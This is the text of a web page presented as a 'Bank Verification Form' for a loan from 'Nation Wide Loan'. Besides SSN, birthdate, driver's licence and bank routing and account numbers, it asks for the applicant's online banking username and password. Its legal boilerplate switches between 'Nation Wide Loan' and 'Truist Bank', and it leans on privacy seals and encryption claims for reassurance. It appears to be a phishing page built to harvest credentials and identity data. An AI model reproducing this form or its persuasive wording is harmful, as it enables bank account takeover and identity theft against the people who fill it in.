Bank Verification Form Fill the form details, our loan executive get back to you instantly for further assistance! Please enable JavaScript in your browser to complete this form.Personal Information Personal and Contact DetailsName *we need this to find your credit report.What's your email? *We'll send your loan status and important updates to this email address.What's your home address?We want to make sure we're looking for the right member. Numbers only.What's your phone number? *Let us know the best number to reach you at.What's your social security number?Sharing your SSN helps us verify your identity and protect you against potential fraud.What's your birthdate?Sharing your birthday helps us verify your identity and create your offer.What’s your driver's license number?Your Employment InformationWork StatusEmployedSelf-EmployedUnemployedRetiredOtherChoose your current employment situation.Do you have Other/Additional "Annual" Income? *This helps us understand your income more fully.Loan InformationLoan Amount? * *Please enter the amount of loan.Loan Term (in Years)Interest Rate/APR (%)Monthly PaymentWhat's the money for? *Refinance my credit cardsConsolidate my debtsRefinance my carImprove my homeFinance my businessPay for a vacationCover medical expensesMajor purchaseOtherHow will you rate your credit score?Bad Credit: 300-599Poor Credit: 600-649Fair Credit: 650-699Good Credit: 700-749Excellent Credit: 750 and aboveFunding InformationWhat's your bank name?Your safety is our priority. In fact we've been awarded TRUSTe's Privacy seal for data transparency and accountability.Banking Years? *3 to 6 months6 to 12 months1 to 3 years3 to 6 yearsMore than 10 yearsWhat’s your routing number? * *What's your account number? * *Please enter the account number provided by your financial institution.Security InformationEnter your mobile/online banking username * *Enter your mobile/online banking password * *PasswordConfirm Password *We use 128-bit SSL protection and strict, high levels of security & encryption standards to keep your information safe. NOTE: THIS FIELD IS CASE SENSITIVE.IMPORTANT INFORMATION ABOUT PROCEDURES FOR VERIFYING/OPENING NEW ACCOUNT. *To help the government fight the funding of terrorism and money laundering activities. Federal laws require all financial institutions to obtain, verify and record information that identifies each information that identifies each person who open an account *What this mean for you. When you verify or open an account. We will ask for your name address, date of birthday and other information that will allow us to identify you. We may also ask to see your driver license or other identifying documents *Your loan APR will depend upon your credit score and other key financial characteristics including but not limited to the amount financed, loan term length and your credit usage history. *All legal documents and disclosure must be signed by each applicant individually. Confirm and Submit I Agree to Nation Wide Loan's terms of use and privacy policy. I consent to receive calls regarding my account as specified here *Yes I Accept and SubmitBy clicking "Accept and Submit" below, I/We * acknowledge that loan proceeds cannot be deposited into a business or third-party account. Loan proceeds must be deposited into your personal bank account that is owned by the authorized signer(s) on the loan. Additionally, payments can only be made from your personal bank account. * acknowledge that the above application is submitted for the purpose of obtaining credit. * certify that all information herein is true, complete, and correct * acknowledge that Truist Bank may require verification of certain application information in a form and substance satisfactory to Truist Bank, in its sole discretion * with respect to each phone number provided, consent to Truist Bank and affiliates, agents, and assignees contacting me (by any method, including automated dialing equipment or prerecorded messages) by calling, texting, or other electronic communication about my accounts with Truist Bank and affiliates, and * authorize Nation Wide Loan to obtain a consumer report to be used in evaluation of my application and for any legitimate business purpose in connection with my ongoing accounts. I/we understand the consumer report may be used for purposes such as identity verification, fraud prevention, verification of application details including but not limited to income and employment, for review of scores and transactional information related to my credit history, and for Nation Wide Loan’s marketing analytics, pricing models and account analytics. I/we authorize and instruct any person, including but not limited to all local, state or federal government agencies and/ consumer reporting agencies, to complete and furnish Nation Wide Loan any information it may have or obtain in response to such credit, identity, income, or employment verification or fraud prevention inquiries. I authorize consumer reporting agencies to release to Nation Wide Loan my income and employment information in accordance with this paragraph, and consent to the periodic re-validation of this information prior to or during the term of my account relationship. All of the information referenced in this authorization, along with this application, shall remain the property of Nation Wide Loan, whether or not an account is opened. * authorize your wireless carrier to use or disclose information about your account and your wireless device, if available, to Nation Wide Loan or its service provider for the duration of your business relationship, solely to help them identify you or your wireless device and to prevent fraud. See our Privacy Policy to see how we treat your data. * Authorization for the Social Security Administration to Disclose Your Social Security Number VerificationI authorize the Social Security Administration (SSA) to verify and disclose to Nation Wide Loan through Early Warning Services for the purpose of this transaction whether the name, Social Security Number (SSN) and date of birth I have submitted matches information in SSA records. My consent is for a one-time validation within the next 90 days. SUBMIT Personal information Name Date of Birth Social Security Number Address Bank Information Bank Name Account Number Routing Number Contact Information Email Phone Number Required Loan Amount Account Details Username Password I agree to the terms & privacy policy Submit Application Get Your Loan Fast Join thousands of satisfied customers who trust us with their financial needs